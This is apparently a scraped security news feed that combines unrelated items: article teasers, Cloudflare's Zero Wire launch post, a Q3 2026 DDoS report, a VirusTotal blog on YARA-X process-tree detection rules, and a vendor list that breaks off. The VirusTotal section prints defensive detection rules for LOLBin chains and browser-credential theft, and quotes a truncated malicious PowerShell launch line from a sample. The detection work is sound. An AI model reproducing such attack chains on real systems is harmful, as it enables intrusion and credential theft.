Microsoft exposes a campaign using trojanized installers. See how Inno Setup trojanized installers silently deploy WorldProxyPool, BOINC, and adware.
Related Posts:
PolinRider Loader Hits 10 Hijacked npm Packages Using Ethereum Dead-Drop Resolver
LuaJIT XLoader Infostealer Spreads via Fake Orders
BITTER PapRAT Malware Targets South Asian Organizations
The post Trojanized Inno Setup Installers Deliver Proxyware and Compute Hijackers appeared first on Daily CyberSecurity.
Cloudflare launched Cloudflare Zero Wire, a public vulnerability intelligence feed tracking critical software flaws, active exploits, and AI audit prompts.
Related Posts:
Claude Message Threads Cut Latency and Payload Size
TWCA Certificate Revocation Follows Serial Number Flaw
Raspberry Pi 16GB Price Surges Amid Memory Shortages
The post Cloudflare Launches Zero Wire Vulnerability Platform appeared first on Daily CyberSecurity.
Cloudflare launched Cloudflare Zero Wire, a public vulnerability intelligence feed tracking critical software flaws, active exploits, and AI audit prompts.
Mandiant warns that enterprise LLMJacking cloud attacks drain API quotas. Attackers use LLMJacking cloud attacks to resell access via illicit mixer portals.
Related Posts:
Kimsuky Operation GitPower Staging Infrastructure Stays Live on GitHub
Binance Hack Report Details Fake Job Interview, AI Tool Abuse and EIP-7702 Wallet Drain
Kaspersky Uncovers CyberStrikeAI Framework Attacks on Schools
The post Threat Actors Hijack Enterprise AI Models in Costly LLMJacking Cloud Attacks appeared first on
Mandiant warns that enterprise LLMJacking cloud attacks drain API quotas. Attackers use LLMJacking cloud attacks to resell access via illicit mixer portals.
You run security at your organization. It’s 7:00 am, and you’re having breakfast. You receive a ping: a new critical vulnerability has been disclosed. Your team scrambles to compare vendor advisories, read technical research, check which systems run the affected software, and answer familiar questions from the business: are we affected, and what are we doing about it? Another disclosure arrives before that work is finished.AI is changing both the volume and speed of critical vulnerability discov
You run security at your organization. It’s 7:00 am, and you’re having breakfast. You receive a ping: a new critical vulnerability has been disclosed. Your team scrambles to compare vendor advisories, read technical research, check which systems run the affected software, and answer familiar questions from the business: are we affected, and what are we doing about it? Another disclosure arrives before that work is finished.
AI is changing both the volume and speed of critical vulnerability discovery. It can analyze large codebases at scale and surface deeply nested flaws that may have existed for years without being found through human review. That discovery momentum will put more pressure on security teams to understand the impact of each disclosure on their infrastructure.
To help security teams prepare, today we’re introducing Zero Wire: a public vulnerability intelligence feed on Cloudflare Radar, bringing the clarity of a news wire service to critical security developments. It helps security leaders and practitioners understand significant vulnerabilities and decide what to do next.
How it works
Zero Wire lives inside Cloudflare Radar under the security section.
Each briefing brings together a plain-language explanation of the vulnerability, who should investigate it, recommended actions, and links to the evidence and vendor guidance. The format is deliberately simple: an index card with what you need to know, without the drama. A CISO should be able to understand the issue quickly and ask the right questions. An engineer should be able to follow the same briefing to the technical guidance needed to investigate and remediate it.
We also offer a pre-compiled prompt you can use with your agent to assess the impact on your infrastructure. Cloudflare contributes security research, observations from our network, and practical knowledge of the controls that can help reduce exposure. The information is useful whether or not you are a Cloudflare customer.
Zero Wire brings that context together with authoritative external sources, giving readers a starting point for assessment and a place to return as an issue develops.
Our focus
Rather than a catalog of every CVE, Zero Wire complements vendor advisories and vulnerability databases, linking readers to the evidence and technical guidance needed to act. Zero Wire focuses on critical CVEs in Internet-facing software, such as vulnerabilities in web applications, the runtimes and libraries they depend on, and services exposed to the Internet, where a proxy can help mitigate exploitation.
We select significant issues that security teams need to understand and assess. Each briefing explains the potential impact, which deployments should be investigated, what is known about exploitation, and the available mitigation and patching guidance. A vulnerability’s severity and evidence of active exploitation are distinct: readers need both to make informed decisions.
A dedicated Cloudflare protection, such as Web Application Firewall (WAF) rules, is not a prerequisite for inclusion. Some issues require vendor updates or changes beyond the traffic Cloudflare can inspect. Where Cloudflare controls can help, we explain their scope and configuration requirements.
A walk through Zero Wire
Start on the Zero Wire homepage. Each card introduces an issue, identifies associated CVEs where applicable, and summarizes why it matters and what to do. You can search for a published briefing using a CVE or issue name, and follow technology tags to related entries. One briefing can cover several related CVEs when understanding them together makes the response clearer.
Find what needs attention
The homepage separates briefings into two categories. “Needs attention” brings together issues requiring active assessment or action, including those with known exploitation or developing guidance. “Reference” keeps briefings available when guidance has stabilized. Moving to “Reference” does not mean every affected system has been patched: an older vulnerability can still matter to an organization that has not completed remediation.
The status and last-checked date help you interpret each card. Known exploitation, an ongoing investigation, and an available vendor fix describe different things. Read them alongside the briefing’s evidence rather than treating them as a verdict on your own environment.
Understand what happened and who should investigate
When you open a briefing, the overview tells you what happened, why it deserves attention, and which teams should investigate. The explanation connects the technical issue to its practical consequences, such as service disruption or risk of data exposure.
For example, the recent php2shell vulnerability concerns flaws in the PHP runtime. That distinction matters for teams running applications such as WordPress or Magento: updating application code or a plugin alone does not repair the underlying runtime. The briefing helps readers identify the right system owners and directs them to the PHP security guidance for affected versions and remediation.
Turn the briefing into an action plan
What to do now gives your team a short set of next steps. Depending on the issue, that can mean identifying affected deployments, checking versions with a hosting provider, applying vendor updates, reviewing suspicious activity, or keeping compensating controls in place while patching.
The purpose is to make the next conversation concrete. For a PHP deployment, ask which runtime is actually running, whether the vendor’s fix has been applied, and who owns the update. Follow the linked vendor advisory for detailed applicability and remediation instructions, which can change as the investigation develops.
Assess your exposure with an AI agent
In this section, we share a prompt that can be used with your AI agent to quickly assess the impact on your infrastructure. The prompt asks for a read-only assessment of deployed software, relevant vendor fixes, exposure, and compensating controls, with per-asset evidence, unknowns, and next actions. It helps your team investigate its own environment; copying the prompt does not itself scan or change systems.
Check the evidence and follow what changed
To help you learn more about the vulnerability, each briefing links to external documents such as CVE records, research, and relevant exploitation evidence, including CISA’s Known Exploited Vulnerabilities Catalog. These sources answer different questions. A vendor advisory establishes affected versions and remediation guidance. An exploitation report provides evidence of attacker activity.
If applicable to a briefing, Cloudflare can add context about traffic seen on our network, for example by showing traffic matching WAF rules that indicates exploitation attempts. Those distinctions matter. Observing an attack attempt does not establish that a particular organization was compromised. Equally, a lack of observed attempts on Cloudflare’s network does not establish that exploitation is absent elsewhere. Briefings distinguish what the sources establish from what remains unknown.
Where available, charts add context to that evidence. The php2shell briefing shows the volume of HTTP requests matching Cloudflare WAF managed rules over time. Note that requests matching these rules are not a count of compromised systems or successful exploits; the chart aims at providing practitioners a sense of what the focus level is by threat actors on a particular vulnerability.
Finally, update chronology records important developments, such as new advisories or changes to the evidence and response guidance. Together with the last-checked date, it helps returning readers understand what has changed since their previous visit.
Understand Cloudflare’s role
The Cloudflare section provides links to whether we offer compensating controls or provide a way to mitigate the vulnerability impact on your infrastructure.
If a particular CVE can be addressed with a WAF rule, the briefing reports its availability and essential configuration requirements. When applicable, paid Plans and free Plans links take customers to the relevant dashboard configuration. The next step is explicit: “Review your WAF configuration to determine whether you are protected”. A link allows you to review your security posture, it does not automatically enable a rule or verify a deployment.
Note that a WAF mitigation is a compensating control for the traffic it covers, it is not a replacement for fixing vulnerable software. Blocking the requests can prevent exposed data from reaching an attacker, but it cannot undo actions already performed at the origin. The security teams should always follow the vendor remediation guidance.
Stay informed with Zero Wire
A useful vulnerability briefing should leave you with a clearer understanding of the issue and a concrete next step. Day Zero brings those essentials together: what happened, who should investigate, what to do now, and where to find the evidence.
Visit Zero Wire vulnerability intelligence, share the relevant briefings with the teams responsible for your systems, and return for new entries and updates. When the next disclosure arrives, we want you to spend less time assembling the basic facts and more time acting on them.
Microsoft reveals how North Korean threat actors use tools like ARTEX. See how AI-enabled North Korean threat actors speed up cyber operations.
Related Posts:
Binance Hack Investigation Traces Historic $6.3B Breach
Polymarket Supply Chain Attack Drains Trader Wallets
Binance Hot Wallet Breach Prompts Multibillion-Dollar Inquiry
The post North Korean Threat Actors Accelerate Cyber Operations With Artificial Intelligence appeared first on Daily CyberSecurity.
Welcome to the 26th edition of Cloudflare's DDoS Threat Report. This edition covers the third quarter of 2026 — July, August, and September — and returns the series to its quarterly cadence following the combined H1 2026 volume. The analysis is produced by Cloudforce One, Cloudflare's Threat Intelligence organization, providing a comprehensive analysis of the evolving threat landscape of Distributed Denial of Service (DDoS) attacks based on data from the Cloudflare network.Key insightsShort-burs
Welcome to the 26th edition of Cloudflare's DDoS Threat Report. This edition covers the third quarter of 2026 — July, August, and September — and returns the series to its quarterly cadence following the combined H1 2026 volume. The analysis is produced by Cloudforce One, Cloudflare's Threat Intelligence organization, providing a comprehensive analysis of the evolving threat landscape of Distributed Denial of Service (DDoS) attacks based on data from the Cloudflare network.
Key insights
Short-burst, low-bandwidth attacks lasting under 10 minutes and 1 Gbps surged by 208%. Conversely, hyper-volumetric attacks exceeding 1 Tbps plummeted by nearly 69% from Q2, possibly a reflection of law enforcement actions against four major Internet of Things (IoT) botnets earlier in the year. However, variants continue to emerge, proving that IoT botnets remain a durable, high-volume threat to network infrastructure.
Threat actors dramatically shifted their reflection and amplification tactics, abruptly abandoning CLDAP floods, which collapsed by 99.5% quarter-over-quarter. Instead, attackers pivoted heavily toward other connectionless protocols, driving a 215% surge in DNS amplification and a 122% increase in general UDP floods.
Attack targets broadened significantly across both industries and geographies, with the United States reclaiming the most-attacked position from China. Canada and Israel experienced sharp spikes in targeted attacks — jumping 10 and 7 spots respectively — while juggling geopolitical tensions, trade disputes, and contentious domestic events. At the same time, the operational focus shifted away from media organizations toward a wider array of industry targets, including consumer services, Internet infrastructure, and adult entertainment.
Q3 by the numbers: 8,200 DDoS attacks every hour
Across its network in the third quarter of 2026, Cloudflare autonomously mitigated 18.2 million network-layer DDoS attacks and 14.4 trillion HTTP DDoS requests. That works out to approximately 8,226 network-layer DDoS attacks per hour, or about 197,400 per day — one attack every 0.44 seconds. The quarter's mitigated traffic totaled 272.6 PB at the network layer and 95.1 PB at the HTTP layer.
More swarms, fewer giants
Short-burst, mid-range, high-count attacks — the operational signature of DDoS-for-hire "booter" services — accelerated this quarter. These attacks primarily targeted computer software, gambling and casinos, and information technology industries. Cloudflare autonomously mitigated 18.2 million network-layer DDoS attacks in Q3 2026, a +208% increase from the same quarter in 2025:
96% ended in under 10 minutes
98% stayed under 1 Gbps, more than enough to overwhelm a server or website
On the other hand, network-level hyper-volumetric attacks (those exceeding 1 Tbps) reversed course, dropping to 251 attacks in Q3 from 805 in Q2 — coinciding with law enforcement action in early 2026 that dismantled four of the largest IoT DDoS botnets: Aisuru, KimWolf, JackSkid, and Mossad.
Still, IoT-based botnets remain a durable high-volume threat as the ecosystem churns through new variants such as Dysphoria and Evooo1Bot. Mirai-classified mitigation peaked in August at 57.23 PB, representing 46.5% of all mitigated network-layer bytes in Q3, including four days — August 16, 19, 23, and 25 — that each cleared three petabytes. The quarter's longest sustained Mirai attack ran 49.7 hours between August 19 and August 21.
Vector shifts: the collapse of CLDAP and rise of UDP
The most dramatic vector shift of the quarter was downward. CLDAP (Connectionless Lightweight Directory Access Protocol) attacks — where small queries with a forged victim IP address trick public domain controllers (UDP 389) into reflecting massive, amplified responses back at the target — experienced a dramatic +580% quarter-over-quarter surge in the first half of the year before collapsing to just 0.05% of attacks in Q3.
Meanwhile, DNS amplification surged 215% to account for 3.43% of all network-layer attacks, exploiting open DNS resolvers in a similar reflection-and-amplification pattern to CLDAP: small spoofed queries, large replies directed at the victim. Other UDP floods climbed from 14.06% to 31.31% of network-layer attacks. UDP is a connectionless transport protocol, which makes it a convenient vehicle for raw volumetric attacks: attackers send large numbers of UDP packets to random or specific ports on the target, forcing the target to check for a listening application and respond, consuming its network and compute resources.
Most-attacked industry
While Media, Production & Publishing remained the most-attacked industry in Q3 2026, its overall share is roughly a quarter of its Q2 level, and the focus has moved across a wider set of industries. Internet rose from outside the top 10 to #6; Consumer Services and Adult Entertainment also climbed in, reaching #8 and #9 respectively.
Most-attacked locations
Geographic surges: Canada and Israel climb the ranks
Adding to an already turbulent period of bilateral trade disputes, Canada jumped from #16 to #6, driven by attacks against its Retail, Telecommunications, Service providers & carriers, and Marketing & advertising industries.
Israel moved 7 spots to take #10 as a result of sustained DDoS activity in mid-September. While this period was marked by contentious decisions ahead of parliamentary elections and the Rosh Hashanah holiday, there was also a massive, documented surge in hostile cyber warfare targeting Israel this year.
Top 10
The United States was the most-attacked location in Q3 2026, while China was number #2 and Indonesia rose into the top three at 2.93% of total attacks. The U.S.-China pairing at the top is consistent with the first half of 2026, when China finished #1 and the U.S. #2; the countries have traded positions as attention and attacker preferences shift.
Strengthening global defenses and helping to defend the Internet
Cloudflare's network is designed to absorb this kind of growth in DDoS threats. Every service on our network is protected by free, unmetered DDoS protection that runs at every one of our 330+ cities globally, backed by 500 Tbps of network capacity. Autonomy is the point: our systems detect and mitigate attacks without human intervention. And they need to, because as this quarter's distributions make clear, most attacks end long before a human analyst could see the alert, and the largest attacks still regularly exceed 1 Tbps at a cadence measured in hundreds per quarter.
To help hosting providers, cloud computing platforms, and Internet service providers identify and take down the abusive IP addresses and accounts that launch these attacks, we leverage Cloudflare's unique vantage point on DDoS attacks to provide a free DDoS Botnet Threat Feed for Service Providers.
Over 800 networks worldwide have signed up for this feed, and we've already seen great collaboration across the community to take down botnet nodes. For a continuously-updated view of attack trends across the Internet, visit Cloudflare Radar.
About Cloudforce One
Driven by a mission to help defend the Internet, Cloudforce One draws on telemetry from Cloudflare's global network — which protects more than 20% of the web — to drive threat research and operational response, protecting critical systems for millions of organizations worldwide.
ANY.RUN analyzed 1,258 sandbox submissions showing how fake ChatGPT and Claude downloads and setup guides steal corporate credentials and browser session data.
ANY.RUN analyzed 1,258 sandbox submissions showing how fake ChatGPT and Claude downloads and setup guides steal corporate credentials and browser session data.
Note: YARA-X v1.21.0 adds a parent_name field to the items in vt.behaviour.processes_list, and v1.22.0 adds ancestor_names. VirusTotal now fills that list for every sandbox report that includes a process tree, by flattening it. The result is one entry per process, and each entry knows the name of the process that created it and of the processes above it. Read the YARA-X blog.
If you have written Livehunt rules on top of sandbox behavior, you have probably used vt.behaviour.processe
Note: YARA-X v1.21.0 adds a parent_name field to the items in vt.behaviour.processes_list, and v1.22.0 adds ancestor_names. VirusTotal now fills that list for every sandbox report that includes a process tree, by flattening it. The result is one entry per process, and each entry knows the name of the process that created it and of the processes above it. Read the YARA-X blog.
If you have written Livehunt rules on top of sandbox behavior, you have probably used vt.behaviour.processes_created. It is a flat list of command lines. It tells you that mshta.exe ran and that powershell.exe ran, but not that one started the other. For a lot of detections that is the whole point: PowerShell on its own is noise, PowerShell launched by mshta.exe is not.
Our sandboxes have always recorded the full process tree. The problem was getting it into YARA, which has no recursive types. As of this month, every file with sandbox reports that reaches Livehunt carries vt.behaviour.processes_list: one entry per process, from every sandbox that ran the file, and each entry knows the name of its parent, the names of its ancestors, and the files it touched.
This post covers what is in each entry, what to keep in mind when writing rules against it, and five cases we worked through while preparing it, each with the rules we wrote and tested. Every case comes with at least one hash, so you can paste the rule in the Livehunt editor and test it yourself.
If you haven't read it yet, we recommend our earlier post It's all about the structure! Creating YARA rules by clicking. It shows how to open the Structure view of any file in the Livehunt editor and turn fields into rule conditions with a click, which is handy for everything that follows.
What each process entry carries
Field
Type
What it holds
name
string
The process, as the sandbox reports it. Usually the image path plus the command line.
parent_name
string
The name of the process that created this one. Empty for root processes and when the parent is unknown.
ancestor_names
array of strings
The names of its ancestors, nearest first: ancestor_names[0] is the parent (the same as parent_name), ancestor_names[1] the grandparent, and so on. Empty for root processes and when the parent is unknown.
process_id / parent_process_id
string
PIDs, as reported by the sandbox.
start_time / termination_time
integer
When the process started and ended, if known.
files_written
array of strings
Files this process created or modified.
files_opened
array of strings
Files this process opened.
files_deleted
array of strings
Files this process deleted.
files_copied[x].source / .destination
string
Files this process copied, when the sandbox attributes copies to a process.
The fields that change how you write rules are parent_name, ancestor_names and the per-process file lists. With them, "PowerShell wrote a .dll" becomes "the PowerShell that cmd.exe started wrote a .dll".
The simplest possible rule looks like this:
import "vt"
rule cmd_spawns_schtasks_create {
condition:
for any p in vt.behaviour.processes_list : (
p.name icontains "schtasks" and
p.name icontains "/create" and
p.parent_name icontains "cmd.exe"
)
}
Things to know before you write rules
Names are not normalized. Each sandbox writes process names its own way. CAPE gives the quoted command line, Zenbox prepends the image path to the command line, Tencent HABO gives only the executable name, and C2AE and Microsoft Sysinternals often leave environment variables unexpanded (%ComSpec% /c ...). Use icontains and match on the executable name, not on a full path with == or startswith.
Link processes by name, not by PID. A file is usually run by several sandboxes, and Livehunt puts all their processes in the same list. PID 1040 can be cmd.exe in one report and explorer.exe in another. To go more than one level up, use ancestor_names: it is built from each sandbox report on its own, so a chain never mixes processes from different sandboxes. For long chains, you can also climb by name: look for the entry whose name is equal to the parent_name you already have. Both strings come from the same sandbox report, so an exact == is safe there.
A practical workflow is to search first and write the rule second. Intelligence search already supports behavior_processes:"<command line>", which matches anywhere in the list with no hierarchy. It is a quick way to collect candidates. Then you write the rule with the parent condition, and test it against those hashes in the Livehunt editor.
Case 1: porting a Sigma rule, and what it misses
Sigma's Suspicious MSHTA Child Process (03cc0c25-389f-4bf8-b48d-11878079f1ca) is a good example of a detection that needs the parent. Stripped down, it says: the parent image ends with \mshta.exe and the child is a shell or a scripting host.
The Livehunt version maps ParentImage to parent_name and Image to name:
import "vt"
rule mshta_spawns_shell {
meta:
description = "Port of Sigma 03cc0c25 (Suspicious MSHTA Child Process)"
condition:
for any p in vt.behaviour.processes_list : (
p.parent_name icontains "mshta.exe" and
(
p.name icontains "cmd.exe" or
p.name icontains "powershell" or
p.name icontains "pwsh" or
p.name icontains "wscript" or
p.name icontains "cscript" or
p.name icontains "bash.exe" or
p.name icontains "reg.exe" or
p.name icontains "regsvr32" or
p.name icontains "bitsadmin"
)
)
}
One thing does not carry over. Sigma also checks OriginalFileName to catch renamed binaries, and sandbox process names have no equivalent. A renamed mshta.exe will get past this rule.
We tested it against d30a0a6c09f664446943d82982f0630e85c447cbe84be8a74b6db6d66effbe80, an Excel file named NOVI USD 44570.00 952PLA3262852510.xls (18/76, tagged cve-2017-0199). It matches. What is more interesting is the CAPE process tree behind the match:
Excel is not the parent of mshta.exe. The exploit has Office request an object through DCOM, so mshta.exe is started by the DCOM launcher service, and it shows up with -Embedding. A rule that looks for "Office spawns mshta" would never fire on this document. What we can do is walk one level up from the shell and check the grandparent:
import "vt"
rule dcom_mshta_spawns_shell {
condition:
for any p in vt.behaviour.processes_list : (
(p.name icontains "cmd.exe" or p.name icontains "powershell") and
p.parent_name icontains "mshta.exe" and
p.ancestor_names[1] icontains "svchost.exe" and
p.ancestor_names[1] icontains "dcomlaunch"
)
}
The first entry of ancestor_names is always the parent, so ancestor_names[1] is the grandparent: the process that started mshta.exe. Without it, you need a second loop over the list to find the entry whose name is the shell's parent_name, and one more loop for every extra level.
The same rule matches other spreadsheets from the same wave, for example 8d249972358268b7a00e182e3f1ecf93ec8bbbee65d22ef4d8a3c382783c1cfa (PO#3302-20260520002.xls), 2d199776cc50b9ad548132105e95af86b29ec8ebca03895a7ddecde58587306b (Request Quotation.xls) and 7c8a3c8366b3106db56359e3defc654d365ce4de21d0a7b1fbad02fbb2aeae52. The rest of that chain shows up again in cases 4 and 5.
Case 2: a services.exe that is not, and the copies behind it
On a normal Windows system, services.exe is started by wininit.exe and by nothing else. A services.exe with any other parent deserves a look:
import "vt"
rule fake_services_wrong_parent {
condition:
for any p in vt.behaviour.processes_list : (
p.name iendswith "\\services.exe" and
p.parent_name != "" and
not p.parent_name icontains "wininit.exe"
)
}
The parent_name != "" check matters. In the reports we looked at, the real services.exe shows up as a root process with no parent, and we don't want those to match.
Our first version also covered lsass.exe. We tested it against 43 recent, clean, signed files, and it matched 19 of them. In those reports the sandbox records lsass.exe with services.exe as its parent. Whatever the reason, that is what the data says, so we dropped lsass.exe from the rule. The lesson is a general one: before encoding what the parent "should" be, check what the sandboxes actually report for clean files.
The rule matches fe8357febe314becf31510a7a2ecb0369e312ad58a448292f5f8a09075d7694c, a .NET executable (45/76) submitted as Cd5KK.exe. In the Jujubox report, Cd5KK.exe starts C:\Windows\System32\NlsLexicons0c1a\services.exe. That process writes two .vbs files to %TEMP% and runs each one with WScript.exe, and one of the scripts starts the fake services.exe again. The sample also launches one PowerShell per path to add Defender exclusions, and in the CAPE report it creates ONLOGON scheduled tasks through WMI, with wmiprvse.exe as the parent of schtasks.exe.
Where did the fake services.exe come from? Jujubox does not attribute file copies to a process, but it does report them at the summary level, in vt.behaviour.files_copied. Cd5KK.exe copied itself to eight places, each one with the name of a Windows binary:
You can combine both fields. This rule looks for a copy named after a system process, and then for a process in the list that runs from exactly that path and has a parent:
import "vt"
rule copy_with_system_name_is_executed {
condition:
for any c in vt.behaviour.files_copied : (
(
c.destination iendswith "\\services.exe" or
c.destination iendswith "\\smss.exe" or
c.destination iendswith "\\lsass.exe" or
c.destination iendswith "\\csrss.exe" or
c.destination iendswith "\\svchost.exe" or
c.destination iendswith "\\wmiprvse.exe" or
c.destination iendswith "\\taskhostw.exe" or
c.destination iendswith "\\conhost.exe"
) and
for any p in vt.behaviour.processes_list : (
p.name icontains c.destination and
p.parent_name != ""
)
)
}
The copy proves the file was planted, and the process entry proves it ran. We tested the rule against 30 recent files with a services.exe path in their Jujubox file activity: it matched 9 of them, among them 4930cc4e7e3e258bf2815793f0e5698bdd45adfae8e052bb1dc4c05c6689ade6, which shares the trojan.msil/basic label with Cd5KK.exe and also matches the services.exe parent rule above. It did not match any of the 43 clean files.
Case 3: headless consoles, renamed or not
conhost.exe --headless runs a console program without showing a window. Sigma has a rule that looks for --headless and powershell in the conhost.exe command line. With the parent available, we can ask a slightly different question: did a PowerShell process actually start with a headless console as its parent?
import "vt"
rule headless_console_runs_powershell {
condition:
for any p in vt.behaviour.processes_list : (
(p.name icontains "powershell" or p.name icontains "pwsh") and
p.parent_name icontains "--headless"
)
}
A plain search shows why a rule on the command line alone gets noisy. behavior_processes:"conhost.exe --headless" fs:2026-09-01+ returned 947 files when we ran it. Part of that is legitimate software. Terminal emulators use pseudo-consoles, which start conhost.exe --headless --inheritcursor ... --server .... herdr.exe (c18555a6bb74cd021198b57d16b93b40e74e7d0f8f0c28a45f0a4cc22dea0f8b, 0/76) does exactly that, and the rule above does not match it, because that conhost.exe never starts a shell.
On the malicious side, 5c2ceaec797dfa79e81cde6d765898ee8102357e280fa322db6e5a4b0ce3fc4a is a Windows shortcut with a Korean-language lure about penalty guidelines for e-commerce law violations, named with a double .hwp.lnk extension (34/76). CAPE and Jujubox both show the same chain: opening the shortcut starts conhost.exe --headless powershell.exe -NoP -exec BYpass -w 1 -C $rukp = '...', and that console starts the PowerShell that runs the Base64 blob. The decoded script opens with a function called Invoke-EnvironmentCheck.
Notice that the rule checks for --headless in the parent, not for conhost.exe. That is deliberate. 77da8a02d71078564409863c358a544e981b9643c8f50c1daabc5d5d176e3c75 (42/76) drops a file called rhpmx63snl.exe into %APPDATA%\MicrosoftWorker_e08ec640d\. That file is 51bb5aeef2e48dd14fae764f80dc67f516df9914ea9c350329e229f6cea919a2, an unmodified Microsoft conhost.exe (original name CONHOST.EXE, 0/77) with a random name. It later runs as rhpmx63snl.exe --headless powershell.exe -w h -ep bypass -c & "...\xd24mgasgb4.exe". A rule that required conhost.exe in the parent would miss it. If you only want the renamed case, add not p.parent_name icontains "conhost".
Case 4: persistence that actually ran
Spotting schtasks /create is easy. Knowing whether the task did anything during the analysis is harder, and the process list can answer it. When a scheduled task fires, the new process has the Task Scheduler service as its parent (svchost.exe -k netsvcs -p -s Schedule, or taskeng.exe on older systems). If that process runs a file the sample wrote earlier, the persistence worked.
import "vt"
rule task_scheduler_runs_dropped_file {
condition:
for any run in vt.behaviour.processes_list : (
(
run.parent_name icontains "-s schedule" or
run.parent_name icontains "taskeng.exe"
) and
for any dropper in vt.behaviour.processes_list : (
for any f in dropper.files_written : (
(f iendswith ".exe" or f iendswith ".dll" or f iendswith ".vbs" or
f iendswith ".js" or f iendswith ".ps1" or f iendswith ".bat" or
f iendswith ".cmd") and
run.name icontains f
)
)
)
}
This is the first rule in the post that uses files_written, and it uses it to link two processes that are not parent and child: the one that wrote the file, and the one the scheduler started from it.
Back to 77da8a02d71078564409863c358a544e981b9643c8f50c1daabc5d5d176e3c75. In the CAPE report, software.exe writes rhpmx63snl.exe and xd24mgasgb4.exe to %APPDATA%\MicrosoftWorker_e08ec640d\, and then runs:
When the task fires, the scheduler starts rhpmx63snl.exe (the renamed conhost.exe from case 3), which starts PowerShell, which starts xd24mgasgb4.exe. Every link in that sentence is a parent_name, and the rule matches. The whole chain is also in the ancestor_names of xd24mgasgb4.exe: the PowerShell, rhpmx63snl.exe, the Schedule service and services.exe.
Zenbox saw the same task fire, but reported rhpmx63snl.exe as a root process with no parent. That is fine: CAPE has the link, and the rule only needs one sandbox to see it. It also shows why you shouldn't write rules that need every sandbox to agree.
One more format issue we ran into. a549a6c8c01da1d03e8da663eec70997a5bd5207e665d8e23f6fa75804dafc06, a VBS file we use in the next case, also creates a task that fires during the VMRay analysis, with taskeng.exe as the parent. The rule misses it, because VMRay logged that command line with doubled backslashes (C:\\Users\\Public\\Downloads\\PoItWjNFjv.vbs), so the path in files_written is not a substring of the process name. When a rule should match and does not, check the raw strings first. Here ancestor_names gives a check that does not depend on how paths are written: the task runs wscript.exe with the dropped script, the script starts PowerShell, and taskeng.exe is among that PowerShell's ancestors. A PowerShell process with for any a in p.ancestor_names : (a icontains "taskeng.exe") catches it.
Case 5: .NET binaries reading browser credentials
Loaders often inject the final payload into a signed .NET Framework binary such as MSBuild.exe, RegAsm.exe, RegSvcs.exe, InstallUtil.exe or aspnet_compiler.exe. On their own, these processes are normal on a developer machine. Started by PowerShell or a scripting host, and writing temporary copies of browser credential databases, they are not.
import "vt"
rule dotnet_lolbin_touches_browser_logins {
condition:
for any p in vt.behaviour.processes_list : (
(
p.name icontains "aspnet_compiler.exe" or
p.name icontains "regasm.exe" or
p.name icontains "regsvcs.exe" or
p.name icontains "msbuild.exe" or
p.name icontains "installutil.exe" or
p.name icontains "addinprocess"
) and
for any a in p.ancestor_names : (
a icontains "powershell" or
a icontains "wscript" or
a icontains "cscript" or
a icontains "mshta"
) and
for any f in p.files_written : (
f icontains "\\User Data\\" and
(f icontains "\\Login Data" or f icontains "\\Web Data" or f icontains "\\Cookies")
)
)
}
All three conditions apply to the same process: what it is, what is above it, and what it wrote. That is the difference from the flat fields. behaviour_files:"Login Data" together with behavior_processes:"MSBuild.exe" can match a file where those two things happened in unrelated processes.
The rule matches a549a6c8c01da1d03e8da663eec70997a5bd5207e665d8e23f6fa75804dafc06, a VBS file named RFQ_638O-0194RFQ26_202610070614034439RFQ.vbs (14/76). In the CAPE report, a hidden PowerShell that rebuilds its script from environment variables is started through WMI (its parent is wmiprvse.exe), and that PowerShell starts MSBuild.exe, which writes ...\Google\Chrome\User Data\Default\Login Data.tmp and the matching -wal and -shm files. It also matches the Excel file from case 1, d30a0a6c09f664446943d82982f0630e85c447cbe84be8a74b6db6d66effbe80, where the last process in the chain, aspnet_compiler.exe, writes the same files. In that file, the ancestor_names of aspnet_compiler.exe go all the way back to the exploit: the PowerShell running XBRYINEZ.ps1, WScript.exe, the obfuscated PowerShell, cmd.exe and mshta.exe -Embedding.
Checking the ancestors instead of only the parent matters in 2d199776cc50b9ad548132105e95af86b29ec8ebca03895a7ddecde58587306b, the Request Quotation.xls from case 1. There, the process that writes the Chrome and Edge Login Data and Web Data files is a second aspnet_compiler.exe, started with /stext by the first one. Its parent is aspnet_compiler.exe, so a rule that only looks at parent_name misses it, while the PowerShell and WScript.exe above it are its second and third ancestors. On the 420 malicious and 324 clean files we used to measure ancestor_names, this version matched 5 malicious files that the parent-only version missed, and none of the clean ones.
Testing the rules
Everything in this post was tested two ways. First, against the hashes above and against a set of clean files, using the Livehunt rule tester. The tester rebuilds the vt module for the hash you give it, so it works for files analyzed before these fields existed. Second, in a live Livehunt ruleset with all the rules. Within a few minutes of enabling it we were already getting notifications for mshta_spawns_shell, dcom_mshta_spawns_shell, task_scheduler_runs_dropped_file and others. The ancestor_names versions of the rules were also run with YARA-X 1.22.0 against the same hashes and 324 clean files.
Wrapping up
A command line tells you what ran. Its parent and ancestors tell you how it got there, and the files it wrote tell you what it left behind. Rules that join the two are harder for a sample to sidestep, because the operator would need to change the chain, not just the strings. Open the vt module view of any file you are investigating, find the processes_list entry that bothers you, and write the rule from there.
Infostealer intelligence has become one of the important tool in cybersecurity as malware has become one of the most efficient tools in a cybercriminal's kit. A single infected laptop can leak saved passwords, browser cookies, autofill data, and enough machine details for an attacker to impersonate the user outright.
Stolen session cookies are especially damaging because they let intruders skip multi-factor authentication entirely. That makes the choice of an intelligence vendor in this spac
Infostealer intelligence has become one of the important tool in cybersecurity as malware has become one of the most efficient tools in a cybercriminal's kit. A single infected laptop can leak saved passwords, browser cookies, autofill data, and enough machine details for an attacker to impersonate the user outright. Stolen session cookies are especially damaging because they let intruders skip multi-factor authentication entirely. That makes the choice of an intelligence vendor in this space an operational decision, not a box-checking exercise.
Top 10 Infostealer Intelligence Vendors
1. Cyble
Cyble is a preferred vendor for organizations that want infostealer data inside a broader threat intelligence workflow rather than as a standalone feed. Its Cyble Vision platform combines compromised credential monitoring with dark web surveillance, brand protection, and attack surface management, so a leaked employee login can be connected to related exposure elsewhere. The company's research arm, Cyble Research and Intelligence Labs, publishes regular analysis of new stealer families and campaigns. For teams that need context across several threat categories in a single console, Cyble is a strong starting point. Buyers focused narrowly on deep machine-level forensics should test that capability directly during a trial.
2. Flare
Flare is a full CTI platform that treats stealer logs as a core dataset rather than an add-on. Its interface is one of the cleanest in the category, which lowers the learning curve for analysts. Coverage of stealer logs is broad, and the platform provides solid details about infected machines.
3. SpyCloud
SpyCloud focuses on identity threat protection and is particularly strong on session data. It tracks stolen cookies and helps organizations invalidate compromised sessions before attackers can use them. That focus makes it a natural fit for teams worried about MFA bypass. Its free public tooling is more limited than some competitors'.
4. Breachsense
